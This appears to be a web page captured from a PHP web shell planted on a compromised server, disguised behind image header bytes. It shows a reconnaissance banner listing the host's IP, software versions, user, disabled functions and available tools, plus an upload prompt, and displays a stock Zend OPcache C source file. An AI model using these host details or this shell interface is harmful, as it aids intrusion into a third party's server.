????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.191.132.143 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/opcache/ |
Upload File : |
/* +----------------------------------------------------------------------+ | Zend OPcache | +----------------------------------------------------------------------+ | Copyright (c) 1998-2016 The PHP Group | +----------------------------------------------------------------------+ | This source file is subject to version 3.01 of the PHP license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.php.net/license/3_01.txt | | If you did not receive a copy of the PHP license and are unable to | | obtain it through the world-wide-web, please send a note to | | license@php.net so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Authors: Andi Gutmans <andi@zend.com> | | Zeev Suraski <zeev@zend.com> | | Stanislav Malyshev <stas@zend.com> | | Dmitry Stogov <dmitry@zend.com> | +----------------------------------------------------------------------+ */ #include <stdio.h> #include <stdlib.h> #include <stdarg.h> #include <time.h> #ifdef ZEND_WIN32 # include <process.h> #endif #include "ZendAccelerator.h" void zend_accel_error(int type, const char *format, ...) { va_list args; time_t timestamp; char *time_string; FILE * fLog = NULL; TSRMLS_FETCH(); if (type > ZCG(accel_directives).log_verbosity_level) { return; } timestamp = time(NULL); time_string = asctime(localtime(×tamp)); time_string[24] = 0; if (!ZCG(accel_directives).error_log || !*ZCG(accel_directives).error_log || strcmp(ZCG(accel_directives).error_log, "stderr") == 0) { fLog = stderr; } else { fLog = fopen(ZCG(accel_directives).error_log, "a+"); if (!fLog) { fLog = stderr; } } #ifdef ZTS fprintf(fLog, "%s (%lu): ", time_string, (unsigned long)tsrm_thread_id()); #else fprintf(fLog, "%s (%d): ", time_string, getpid()); #endif switch (type) { case ACCEL_LOG_FATAL: fprintf(fLog, "Fatal Error "); break; case ACCEL_LOG_ERROR: fprintf(fLog, "Error "); break; case ACCEL_LOG_WARNING: fprintf(fLog, "Warning "); break; case ACCEL_LOG_INFO: fprintf(fLog, "Message "); break; case ACCEL_LOG_DEBUG: fprintf(fLog, "Debug "); break; } va_start(args, format); vfprintf(fLog, format, args); va_end(args); fprintf(fLog, "\n"); switch (type) { case ACCEL_LOG_ERROR: zend_bailout(); break; case ACCEL_LOG_FATAL: exit(-2); break; } fflush(fLog); if (fLog != stderr) { fclose(fLog); } }